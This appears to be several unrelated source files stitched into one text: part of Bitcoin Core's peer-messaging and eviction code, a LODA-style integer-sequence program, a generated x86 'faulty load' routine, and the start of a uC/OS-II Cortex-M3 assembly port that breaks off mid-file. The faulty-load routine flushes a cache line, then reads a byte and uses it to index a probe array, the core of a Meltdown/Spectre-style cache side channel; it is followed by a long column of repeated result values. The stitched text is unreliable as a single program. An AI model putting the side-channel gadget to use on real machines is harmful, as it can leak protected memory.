(state.m_chain_sync.m_sent_getheaders) { // They've run out of time to catch up! LogPrintf("Disconnecting outbound peer %d for old chain, best known block = %s\n", pto->GetId(), state.pindexBestKnownBlock != nullptr ? state.pindexBestKnownBlock->GetBlockHash().ToString() : "<none>"); pto->fDisconnect = true; } else { assert(state.m_chain_sync.m_work_header); LogPrint(BCLog::NET, "sending getheaders to outbound peer=%d to verify chain work (current best known block:%s, benchmark blockhash: %s)\n", pto->GetId(), state.pindexBestKnownBlock != nullptr ? state.pindexBestKnownBlock->GetBlockHash().ToString() : "<none>", state.m_chain_sync.m_work_header->GetBlockHash().ToString()); connman->PushMessage(pto, msgMaker.Make(NetMsgType::GETHEADERS, chainActive.GetLocator(state.m_chain_sync.m_work_header->pprev), uint256())); state.m_chain_sync.m_sent_getheaders = true; constexpr int64_t HEADERS_RESPONSE_TIME = 120; // 2 minutes // Bump the timeout to allow a response, which could clear the timeout // (if the response shows the peer has synced), reset the timeout (if // the peer syncs to the required work but not to our tip), or result // in disconnect (if we advance to the timeout and pindexBestKnownBlock // has not sufficiently progressed) state.m_chain_sync.m_timeout = time_in_seconds + HEADERS_RESPONSE_TIME; } } } } void PeerLogicValidation::EvictExtraOutboundPeers(int64_t time_in_seconds) { // Check whether we have too many outbound peers int extra_peers = connman->GetExtraOutboundCount(); if (extra_peers > 0) { // If we have more outbound peers than we target, disconnect one. // Pick the outbound peer that least recently announced // us a new block, with ties broken by choosing the more recent // connection (higher node id) NodeId worst_peer = -1; int64_t oldest_block_announcement = std::numeric_limits<int64_t>::max(); LOCK(cs_main); connman->ForEachNode([&](CNode* pnode) { // Ignore non-outbound peers, or nodes marked for disconnect already if (!IsOutboundDisconnectionCandidate(pnode) || pnode->fDisconnect) return; CNodeState *state = State(pnode->GetId()); if (state == nullptr) return; // shouldn't be possible, but just in case // Don't evict our protected peers if (state->m_chain_sync.m_protect) return; if (state->m_last_block_announcement < oldest_block_announcement || (state->m_last_block_announcement == oldest_block_announcement && pnode->GetId() > worst_peer)) { worst_peer = pnode->GetId(); oldest_block_announcement = state->m_last_block_announcement; } }); if (worst_peer != -1) { bool disconnected = connman->ForNode(worst_peer, [&](CNode *pnode) { // Only disconnect a peer that has been connected to us for // some reasonable fraction of our check-frequency, to give // it time for new information to have arrived. // Also don't disconnect any peer we're trying to download a // block from. CNodeState &state = *State(pnode->GetId()); if (time_in_seconds - pnode->nTimeConnected > MINIMUM_CONNECT_TIME && state.nBlocksInFlight == 0) { LogPrint(BCLog::NET, "disconnecting extra outbound peer=%d (last block announcement received at time %d)\n", pnode->GetId(), oldest_block_announcement); pnode->fDisconnect = true; return true; } else { LogPrint(BCLog::NET, "keeping outbound peer=%d chosen for eviction (connect time: %d, blocks_in_flight: %d)\n", pnode->GetId(), pnode->nTimeConnected, state.nBlocksInFlight); return false; } }); if (disconnected) { // If we disconnected an extra peer, that means we successfully // connected to at least one peer after the last time we // detected a stale tip. Don't try any more extra peers until // we next detect a stale tip, to limit the load we put on the // network from these extra connections. connman->SetTryNewOutboundPeer(false); } } } } void PeerLogicValidation::CheckForStaleTipAndEvictPeers(const Consensus::Params &consensusParams) { if (connman == nullptr) return; int64_t time_in_seconds = GetTime(); EvictExtraOutboundPeers(time_in_seconds); if (time_in_seconds > m_stale_tip_check_time) { LOCK(cs_main); // Check whether our tip is stale, and if so, allow using an extra // outbound peer if (TipMayBeStale(consensusParams)) { LogPrintf("Potential stale tip detected, will try using extra outbound peer (last tip update: %d seconds ago)\n", time_in_seconds - g_last_tip_update); connman->SetTryNewOutboundPeer(true); } else if (connman->GetTryNewOutboundPeer()) { connman->SetTryNewOutboundPeer(false); } m_stale_tip_check_time = time_in_seconds + STALE_CHECK_INTERVAL; } } class CompareInvMempoolOrder { CTxMemPool *mp; public: explicit CompareInvMempoolOrder(CTxMemPool *_mempool) { mp = _mempool; } bool operator()(std::set<uint256>::iterator a, std::set<uint256>::iterator b) { /* As std::make_heap produces a max-heap, we want the entries with the * fewest ancestors/highest fee to sort later. */ return mp->CompareDepthAndScore(*b, *a); } }; bool PeerLogicValidation::SendMessages(CNode* pto, std::atomic<bool>& interruptMsgProc) { const Consensus::Params& consensusParams = Params().GetConsensus(); { // Don't send anything until the version handshake is complete if (!pto->fSuccessfullyConnected || pto->fDisconnect) return true; // If we get here, the outgoing message serialization version is set and can't change. const CNetMsgMaker msgMaker(pto->GetSendVersion()); // // Message: ping // bool pingSend = false; if (pto->fPingQueued) { // RPC ping request by user pingSend = true; } if (pto->nPingNonceSent == 0 && pto->nPingUsecStart + PING_INTERVAL * 1000000 < GetTimeMicros()) { // Ping automatically sent as a latency probe & keepalive. pingSend = true; } if (pingSend) { uint64_t nonce = 0; while (nonce == 0) { GetRandBytes((unsigned char*)&nonce, sizeof(nonce)); } pto->fPingQueued = false; pto->nPingUsecStart = GetTimeMicros(); if (pto->nVersion > BIP0031_VERSION) { pto->nPingNonceSent = nonce; connman->PushMessage(pto, msgMaker.Make(NetMsgType::PING, nonce)); } else { // Peer is too old to support ping command with nonce, pong will never arrive. pto->nPingNonceSent = 0; connman->PushMessage(pto, msgMaker.Make(NetMsgType::PING)); } } TRY_LOCK(cs_main, lockMain); // Acquire cs_main for IsInitialBlockDownload() and CNodeState() if (!lockMain) return true; if (SendRejectsAndCheckIfBanned(pto, connman)) return true; CNodeState &state = *State(pto->GetId()); // Address refresh broadcast int64_t nNow = GetTimeMicros(); if (!IsInitialBlockDownload() && pto->nNextLocalAddrSend < nNow) { AdvertiseLocal(pto); pto->nNextLocalAddrSend = PoissonNextSend(nNow, AVG_LOCAL_ADDRESS_BROADCAST_INTERVAL); } // // Message: addr // if (pto->nNextAddrSend < nNow) { pto->nNextAddrSend = PoissonNextSend(nNow, AVG_ADDRESS_BROADCAST_INTERVAL); std::vector<CAddress> vAddr; vAddr.reserve(pto->vAddrToSend.size()); for (const CAddress& addr : pto->vAddrToSend) { if (!pto->addrKnown.contains(addr.GetKey())) { pto->addrKnown.insert(addr.GetKey()); vAddr.push_back(addr); // receiver rejects addr messages larger than 1000 if (vAddr.size() >= 1000) { connman->PushMessage(pto, msgMaker.Make(NetMsgType::ADDR, vAddr)); vAddr.clear(); } } } pto->vAddrToSend.clear(); if (!vAddr.empty()) connman->PushMessage(pto, msgMaker.Make(NetMsgType::ADDR, vAddr)); // we only send the big addr message once if (pto->vAddrToSend.capacity() > 40) pto->vAddrToSend.shrink_to_fit(); } // Start block sync if (pindexBestHeader == nullptr) pindexBestHeader = chainActive.Tip(); bool fFetch = state.fPreferredDownload || (nPreferredDownload == 0 && !pto->fClient && !pto->fOneShot); // Download if this is a nice peer, or we have no nice peers and this one might do. if (!state.fSyncStarted && !pto->fClient && !fImporting && !fReindex) { // Only actively request headers from a single peer, unless we're close to today. if ((nSyncStarted == 0 && fFetch) || pindexBestHeader->GetBlockTime() > GetAdjustedTime() - 24 * 60 * 60) { state.fSyncStarted = true; state.nHeadersSyncTimeout = GetTimeMicros() + HEADERS_DOWNLOAD_TIMEOUT_BASE + HEADERS_DOWNLOAD_TIMEOUT_PER_HEADER * (GetAdjustedTime() - pindexBestHeader->GetBlockTime())/(consensusParams.nPowTargetSpacing); nSyncStarted++; const CBlockIndex *pindexStart = pindexBestHeader; /* If possible, start at the block preceding the currently best known header. This ensures that we always get a non-empty list of headers back as long as the peer is up-to-date. With a non-empty response, we can initialise the peer's known best block. This wouldn't be possible if we requested starting at pindexBestHeader and got back an empty response. */ if (pindexStart->pprev) pindexStart = pindexStart->pprev; LogPrint(BCLog::NET, "initial getheaders (%d) to peer=%d (startheight:%d)\n", pindexStart->nHeight, pto->GetId(), pto->nStartingHeight); connman->PushMessage(pto, msgMaker.Make(NetMsgType::GETHEADERS, chainActive.GetLocator(pindexStart), uint256())); } } // Resend wallet transactions that haven't gotten in a block yet // Except during reindex, importing and IBD, when old wallet // transactions become unconfirmed and spams other nodes. if (!fReindex && !fImporting && !IsInitialBlockDownload()) { GetMainSignals().Broadcast(nTimeBestReceived, connman); } // // Try sending block announcements via headers // { // If we have less than MAX_BLOCKS_TO_ANNOUNCE in our // list of block hashes we're relaying, and our peer wants // headers announcements, then find the first header // not yet known to our peer but would connect, and send. // If no header would connect, or if we have too many // blocks, or if the peer doesn't want headers, just // add all to the inv queue. LOCK(pto->cs_inventory); std::vector<CBlock> vHeaders; bool fRevertToInv = ((!state.fPreferHeaders && (!state.fPreferHeaderAndIDs || pto->vBlockHashesToAnnounce.size() > 1)) || pto->vBlockHashesToAnnounce.size() > MAX_BLOCKS_TO_ANNOUNCE); const CBlockIndex *pBestIndex = nullptr; // last header queued for delivery ProcessBlockAvailability(pto->GetId()); // ensure pindexBestKnownBlock is up-to-date if (!fRevertToInv) { bool fFoundStartingHeader = false; // Try to find first header that our peer doesn't have, and // then send all headers past that one. If we come across any // headers that aren't on chainActive, give up. for (const uint256 &hash : pto->vBlockHashesToAnnounce) { BlockMap::iterator mi = mapBlockIndex.find(hash); assert(mi != mapBlockIndex.end()); const CBlockIndex *pindex = mi->second; if (chainActive[pindex->nHeight] != pindex) { // Bail out if we reorged away from this block fRevertToInv = true; break; } if (pBestIndex != nullptr && pindex->pprev != pBestIndex) { // This means that the list of blocks to announce don't // connect to each other. // This shouldn't really be possible to hit during // regular operation (because reorgs should take us to // a chain that has some block not on the prior chain, // which should be caught by the prior check), but one // way this could happen is by using invalidateblock / // reconsiderblock repeatedly on the tip, causing it to // be added multiple times to vBlockHashesToAnnounce. // Robustly deal with this rare situation by reverting // to an inv. fRevertToInv = true; break; } pBestIndex = pindex; if (fFoundStartingHeader) { // add this to the headers message vHeaders.push_back(pindex->GetBlockHeader()); } else if (PeerHasHeader(&state, pindex)) { continue; // keep looking for the first new block } else if (pindex->pprev == nullptr || PeerHasHeader(&state, pindex->pprev)) { // Peer doesn't have this header but they do have the prior one. // Start sending headers. fFoundStartingHeader = true; vHeaders.push_back(pindex->GetBlockHeader()); } else { // Peer doesn't have this header or the prior one -- nothing will // connect, so bail out. fRevertToInv = true; break; } } } if (!fRevertToInv && !vHeaders.empty()) { if (vHeaders.size() == 1 && state.fPreferHeaderAndIDs) { // We only send up to 1 block as header-and-ids, as otherwise // probably means we're doing an initial-ish-sync or they're slow LogPrint(BCLog::NET, "%s sending header-and-ids %s to peer=%d\n", __func__, vHeaders.front().GetHash().ToString(), pto->GetId()); int nSendFlags = state.fWantsCmpctWitness ? 0 : SERIALIZE_TRANSACTION_NO_WITNESS; bool fGotBlockFromCache = false; { LOCK(cs_most_recent_block); if (most_recent_block_hash == pBestIndex->GetBlockHash()) { if (state.fWantsCmpctWitness || !fWitnessesPresentInMostRecentCompactBlock) connman->PushMessage(pto, msgMaker.Make(nSendFlags, NetMsgType::CMPCTBLOCK, *most_recent_compact_block)); else { CBlockHeaderAndShortTxIDs cmpctblock(*most_recent_block, state.fWantsCmpctWitness); connman->PushMessage(pto, msgMaker.Make(nSendFlags, NetMsgType::CMPCTBLOCK, cmpctblock)); } fGotBlockFromCache = true; } } if (!fGotBlockFromCache) { CBlock block; bool ret = ReadBlockFromDisk(block, pBestIndex, consensusParams); assert(ret); CBlockHeaderAndShortTxIDs cmpctblock(block, state.fWantsCmpctWitness); connman->PushMessage(pto, msgMaker.Make(nSendFlags, NetMsgType::CMPCTBLOCK, cmpctblock)); } state.pindexBestHeaderSent = pBestIndex; } else if (state.fPreferHeaders) { if (vHeaders.size() > 1) { LogPrint(BCLog::NET, "%s: %u headers, range (%s, %s), to peer=%d\n", __func__, vHeaders.size(), vHeaders.front().GetHash().ToString(), vHeaders.back().GetHash().ToString(), pto->GetId()); } else { LogPrint(BCLog::NET, "%s: sending header %s to peer=%d\n", __func__, vHeaders.front().GetHash().ToString(), pto->GetId()); } connman->PushMessage(pto, msgMaker.Make(NetMsgType::HEADERS, vHeaders)); state.pindexBestHeaderSent = pBestIndex; } else fRevertToInv = true; } if (fRevertToInv) { // If falling back to using an inv, just try to inv the tip. // The last entry in vBlockHashesToAnnounce was our tip at some point // in the past. if (!pto->vBlockHashesToAnnounce.empty()) { const uint256 &hashToAnnounce = pto->vBlockHashesToAnnounce.back(); BlockMap::iterator mi = mapBlockIndex.find(hashToAnnounce); assert(mi != mapBlockIndex.end()); const CBlockIndex *pindex = mi->second; // Warn if we're announcing a block that is not on the main chain. // This should be very rare and could be optimized out. // Just log for now. if (chainActive[pindex->nHeight] != pindex) { LogPrint(BCLog::NET, "Announcing block %s not on main chain (tip=%s)\n", hashToAnnounce.ToString(), chainActive.Tip()->GetBlockHash().ToString()); } // If the peer's chain has this block, don't inv it back. if (!PeerHasHeader(&state, pindex)) { pto->PushInventory(CInv(MSG_BLOCK, hashToAnnounce)); LogPrint(BCLog::NET, "%s: sending inv peer=%d hash=%s\n", __func__, pto->GetId(), hashToAnnounce.ToString()); } } } pto->vBlockHashesToAnnounce.clear(); } // // Message: inventory // std::vector<CInv> vInv; { LOCK(pto->cs_inventory); vInv.reserve(std::max<size_t>(pto->vInventoryBlockToSend.size(), INVENTORY_BROADCAST_MAX)); // Add blocks for (const uint256& hash : pto->vInventoryBlockToSend) { vInv.push_back(CInv(MSG_BLOCK, hash)); if (vInv.size() == MAX_INV_SZ) { connman->PushMessage(pto, msgMaker.Make(NetMsgType::INV, vInv)); vInv.clear(); } } pto->vInventoryBlockToSend.clear(); // Check whether periodic sends should happen bool fSendTrickle = pto->fWhitelisted; if (pto->nNextInvSend < nNow) { fSendTrickle = true; // Use half the delay for outbound peers, as there is less privacy concern for them. pto->nNextInvSend = PoissonNextSend(nNow, INVENTORY_BROADCAST_INTERVAL >> !pto->fInbound); } // Time to send but the peer has requested we not relay transactions. if (fSendTrickle) { LOCK(pto->cs_filter); if (!pto->fRelayTxes) pto->setInventoryTxToSend.clear(); } // Respond to BIP35 mempool requests if (fSendTrickle && pto->fSendMempool) { auto vtxinfo = mempool.infoAll(); pto->fSendMempool = false; CAmount filterrate = 0; { LOCK(pto->cs_feeFilter); filterrate = pto->minFeeFilter; } LOCK(pto->cs_filter); for (const auto& txinfo : vtxinfo) { const uint256& hash = txinfo.tx->GetHash(); CInv inv(MSG_TX, hash); pto->setInventoryTxToSend.erase(hash); if (filterrate) { if (txinfo.feeRate.GetFeePerK() < filterrate) continue; } if (pto->pfilter) { if (!pto->pfilter->IsRelevantAndUpdate(*txinfo.tx)) continue; } pto->filterInventoryKnown.insert(hash); vInv.push_back(inv); if (vInv.size() == MAX_INV_SZ) { connman->PushMessage(pto, msgMaker.Make(NetMsgType::INV, vInv)); vInv.clear(); } } pto->timeLastMempoolReq = GetTime(); } // Determine transactions to relay if (fSendTrickle) { // Produce a vector with all candidates for sending std::vector<std::set<uint256>::iterator> vInvTx; vInvTx.reserve(pto->setInventoryTxToSend.size()); for (std::set<uint256>::iterator it = pto->setInventoryTxToSend.begin(); it != pto->setInventoryTxToSend.end(); it++) { vInvTx.push_back(it); } CAmount filterrate = 0; { LOCK(pto->cs_feeFilter); filterrate = pto->minFeeFilter; } // Topologically and fee-rate sort the inventory we send for privacy and priority reasons. // A heap is used so that not all items need sorting if only a few are being sent. CompareInvMempoolOrder compareInvMempoolOrder(&mempool); std::make_heap(vInvTx.begin(), vInvTx.end(), compareInvMempoolOrder); // No reason to drain out at many times the network's capacity, // especially since we have many peers and some will draw much shorter delays. unsigned int nRelayedTransactions = 0; LOCK(pto->cs_filter); while (!vInvTx.empty() && nRelayedTransactions < INVENTORY_BROADCAST_MAX) { // Fetch the top element from the heap std::pop_heap(vInvTx.begin(), vInvTx.end(), compareInvMempoolOrder); std::set<uint256>::iterator it = vInvTx.back(); vInvTx.pop_back(); uint256 hash = *it; // Remove it from the to-be-sent set pto->setInventoryTxToSend.erase(it); // Check if not in the filter already if (pto->filterInventoryKnown.contains(hash)) { continue; } // Not in the mempool anymore? don't bother sending it. auto txinfo = mempool.info(hash); if (!txinfo.tx) { continue; } if (filterrate && txinfo.feeRate.GetFeePerK() < filterrate) { continue; } if (pto->pfilter && !pto->pfilter->IsRelevantAndUpdate(*txinfo.tx)) continue; // Send vInv.push_back(CInv(MSG_TX, hash)); nRelayedTransactions++; { // Expire old relay messages while (!vRelayExpiration.empty() && vRelayExpiration.front().first < nNow) { mapRelay.erase(vRelayExpiration.front().second); vRelayExpiration.pop_front(); } auto ret = mapRelay.insert(std::make_pair(hash, std::move(txinfo.tx))); if (ret.second) { vRelayExpiration.push_back(std::make_pair(nNow + 15 * 60 * 1000000, ret.first)); } } if (vInv.size() == MAX_INV_SZ) { connman->PushMessage(pto, msgMaker.Make(NetMsgType::INV, vInv)); vInv.clear(); } pto->filterInventoryKnown.insert(hash); } } } if (!vInv.empty()) connman->PushMessage(pto, msgMaker.Make(NetMsgType::INV, vInv)); // Detect whether we're stalling nNow = GetTimeMicros(); if (state.nStallingSince && state.nStallingSince < nNow - 1000000 * BLOCK_STALLING_TIMEOUT) { // Stalling only triggers when the block download window cannot move. During normal steady state, // the download window should be much larger than the to-be-downloaded set of blocks, so disconnection // should only happen during initial block download. LogPrintf("Peer=%d is stalling block download, disconnecting\n", pto->GetId()); pto->fDisconnect = true; return true; } // In case there is a block that has been in flight from this peer for 2 + 0.5 * N times the block interval // (with N the number of peers from which we're downloading validated blocks), disconnect due to timeout. // We compensate for other peers to prevent killing off peers due to our own downstream link // being saturated. We only count validated in-flight blocks so peers can't advertise non-existing block hashes // to unreasonably increase our timeout. if (state.vBlocksInFlight.size() > 0) { QueuedBlock &queuedBlock = state.vBlocksInFlight.front(); int nOtherPeersWithValidatedDownloads = nPeersWithValidatedDownloads - (state.nBlocksInFlightValidHeaders > 0); if (nNow > state.nDownloadingSince + consensusParams.nPowTargetSpacing * (BLOCK_DOWNLOAD_TIMEOUT_BASE + BLOCK_DOWNLOAD_TIMEOUT_PER_PEER * nOtherPeersWithValidatedDownloads)) { LogPrintf("Timeout downloading block %s from peer=%d, disconnecting\n", queuedBlock.hash.ToString(), pto->GetId()); pto->fDisconnect = true; return true; } } // Check for headers sync timeouts if (state.fSyncStarted && state.nHeadersSyncTimeout < std::numeric_limits<int64_t>::max()) { // Detect whether this is a stalling initial-headers-sync peer if (pindexBestHeader->GetBlockTime() <= GetAdjustedTime() - 24*60*60) { if (nNow > state.nHeadersSyncTimeout && nSyncStarted == 1 && (nPreferredDownload - state.fPreferredDownload >= 1)) { // Disconnect a (non-whitelisted) peer if it is our only sync peer, // and we have others we could be using instead. // Note: If all our peers are inbound, then we won't // disconnect our sync peer for stalling; we have bigger // problems if we can't get any outbound peers. if (!pto->fWhitelisted) { LogPrintf("Timeout downloading headers from peer=%d, disconnecting\n", pto->GetId()); pto->fDisconnect = true; return true; } else { LogPrintf("Timeout downloading headers from whitelisted peer=%d, not disconnecting\n", pto->GetId()); // Reset the headers sync state so that we have a // chance to try downloading from a different peer. // Note: this will also result in at least one more // getheaders message to be sent to // this peer (eventually). state.fSyncStarted = false; nSyncStarted--; state.nHeadersSyncTimeout = 0; } } } else { // After we've caught up once, reset the timeout so we can't trigger // disconnect later. state.nHeadersSyncTimeout = std::numeric_limits<int64_t>::max(); } } // Check that outbound peers have reasonable chains // GetTime() is used by this anti-DoS logic so we can test this using mocktime ConsiderEviction(pto, GetTime()); // // Message: getdata (blocks) // std::vector<CInv> vGetData; if (!pto->fClient && (fFetch || !IsInitialBlockDownload()) && state.nBlocksInFlight < MAX_BLOCKS_IN_TRANSIT_PER_PEER) { std::vector<const CBlockIndex*> vToDownload; NodeId staller = -1; FindNextBlocksToDownload(pto->GetId(), MAX_BLOCKS_IN_TRANSIT_PER_PEER - state.nBlocksInFlight, vToDownload, staller, consensusParams); for (const CBlockIndex *pindex : vToDownload) { uint32_t nFetchFlags = GetFetchFlags(pto); vGetData.push_back(CInv(MSG_BLOCK | nFetchFlags, pindex->GetBlockHash())); MarkBlockAsInFlight(pto->GetId(), pindex->GetBlockHash(), pindex); LogPrint(BCLog::NET, "Requesting block %s (%d) peer=%d\n", pindex->GetBlockHash().ToString(), pindex->nHeight, pto->GetId()); } if (state.nBlocksInFlight == 0 && staller != -1) { if (State(staller)->nStallingSince == 0) { State(staller)->nStallingSince = nNow; LogPrint(BCLog::NET, "Stall started peer=%d\n", staller); } } } // // Message: getdata (non-blocks) // while (!pto->mapAskFor.empty() && (*pto->mapAskFor.begin()).first <= nNow) { const CInv& inv = (*pto->mapAskFor.begin()).second; if (!AlreadyHave(inv)) { LogPrint(BCLog::NET, "Requesting %s peer=%d\n", inv.ToString(), pto->GetId()); vGetData.push_back(inv); if (vGetData.size() >= 1000) { connman->PushMessage(pto, msgMaker.Make(NetMsgType::GETDATA, vGetData)); vGetData.clear(); } } else { //If we're not going to ask, don't expect a response. pto->setAskFor.erase(inv.hash); } pto->mapAskFor.erase(pto->mapAskFor.begin()); } if (!vGetData.empty()) connman->PushMessage(pto, msgMaker.Make(NetMsgType::GETDATA, vGetData)); // // Message: feefilter // // We don't want white listed peers to filter txs to us if we have -whitelistforcerelay if (pto->nVersion >= FEEFILTER_VERSION && gArgs.GetBoolArg("-feefilter", DEFAULT_FEEFILTER) && !(pto->fWhitelisted && gArgs.GetBoolArg("-whitelistforcerelay", DEFAULT_WHITELISTFORCERELAY))) { CAmount currentFilter = mempool.GetMinFee(gArgs.GetArg("-maxmempool", DEFAULT_MAX_MEMPOOL_SIZE) * 1000000).GetFeePerK(); int64_t timeNow = GetTimeMicros(); if (timeNow > pto->nextSendTimeFeeFilter) { static CFeeRate default_feerate(DEFAULT_MIN_RELAY_TX_FEE); static FeeFilterRounder filterRounder(default_feerate); CAmount filterToSend = filterRounder.round(currentFilter); // We always have a fee filter of at least minRelayTxFee filterToSend = std::max(filterToSend, ::minRelayTxFee.GetFeePerK()); if (filterToSend != pto->lastSentFeeFilter) { connman->PushMessage(pto, msgMaker.Make(NetMsgType::FEEFILTER, filterToSend)); pto->lastSentFeeFilter = filterToSend; } pto->nextSendTimeFeeFilter = PoissonNextSend(timeNow, AVG_FEEFILTER_BROADCAST_INTERVAL); } // If the fee filter has changed substantially and it's still more than MAX_FEEFILTER_CHANGE_DELAY // until scheduled broadcast, then move the broadcast to within MAX_FEEFILTER_CHANGE_DELAY. else if (timeNow + MAX_FEEFILTER_CHANGE_DELAY * 1000000 < pto->nextSendTimeFeeFilter && (currentFilter < 3 * pto->lastSentFeeFilter / 4 || currentFilter > 4 * pto->lastSentFeeFilter / 3)) { pto->nextSendTimeFeeFilter = timeNow + GetRandInt(MAX_FEEFILTER_CHANGE_DELAY) * 1000000; } } } return true; } class CNetProcessingCleanup { public: CNetProcessingCleanup() {} ~CNetProcessingCleanup() { // orphan transactions mapOrphanTransactions.clear(); mapOrphanTransactionsByPrev.clear(); } } instance_of_cnetprocessingcleanup;
; A228366: Toothpick sequence from a diagram of compositions of the positive integers (see Comments lines for definition). ; 0,2,6,8,15,17,21,23,35,37,41,43,50,52,56,58,79,81,85,87,94,96,100,102,114,116,120,122,129,131,135,137,175,177,181,183,190,192,196,198,210,212,216,218,225,227,231,233,254,256,260,262,269,271,275 mov $8,$0 add $8,1 lpb $8 clr $0,6 sub $8,1 sub $0,$8 lpb $0 gcd $0,1073741824 mov $4,$0 lpb $0 div $0,2 add $4,1 lpe lpe add $7,$4 lpe mov $1,$7
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r15 push %r8 push %rcx // Faulty Load lea addresses_UC+0xdb54, %r13 clflush (%r13) nop nop nop nop nop and $37037, %r8 movb (%r13), %cl lea oracles, %r13 and $0xff, %rcx shlq $12, %rcx mov (%r13,%rcx,1), %rcx pop %rcx pop %r8 pop %r15 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
;============================================================================ ; Modified from the original to interoperate with CMIS as follows: ; - renamed OS_CPU_PendSVHandler to CMSIS-compatible name PendSV_Handler ; ; Quantum Leaps, LLC. www.state-machine.com ; 2015-03-23 ;===========================================================================*/ ; ;******************************************************************************************************** ; uC/OS-II ; The Real-Time Kernel ; ; (c) Copyright 1992-2006, Micrium, Weston, FL ; All Rights Reserved ; ; ARM Cortex-M3 Port ; ; File : OS_CPU_A.ASM ; Version : V2.89 ; By : Jean J. Labrosse ; Brian Nagel ; ; For : ARMv7M Cortex-M3 ; Mode : Thumb2 ; Toolchain : RealView Development Suite ; RealView Microcontroller Development Kit (MDK) ; ARM Developer Suite (ADS) ; Keil uVision ;******************************************************************************************************** ;******************************************************************************************************** ; PUBLIC FUNCTIONS ;******************************************************************************************************** EXTERN OSRunning ; External references EXTERN OSPrioCur EXTERN OSPrioHighRdy EXTERN OSTCBCur EXTERN OSTCBHighRdy EXTERN OSIntExit EXTERN OSTaskSwHook EXTERN OS_CPU_ExceptStkBase EXPORT OS_CPU_SR_Save ; Functions declared in this file EXPORT OS_CPU_SR_Restore EXPORT OSStartHighRdy EXPORT OSCtxSw EXPORT OSIntCtxSw EXPORT PendSV_Handler ; QL was: OS_CPU_PendSVHandler IF {FPU} != "SoftVFP" EXPORT OS_CPU_FP_Reg_Push EXPORT OS_CPU_FP_Reg_Pop ENDIF ;******************************************************************************************************** ; EQUATES ;******************************************************************************************************** NVIC_INT_CTRL EQU 0xE000ED04 ; Interrupt control state register. NVIC_SYSPRI14 EQU 0xE000ED22 ; System priority register (priority 14). NVIC_PENDSV_PRI EQU 0xFF ; PendSV priority value (lowest). NVIC_PENDSVSET EQU 0x10000000 ; Value to trigger PendSV exception. ;******************************************************************************************************** ; CODE GENERATION 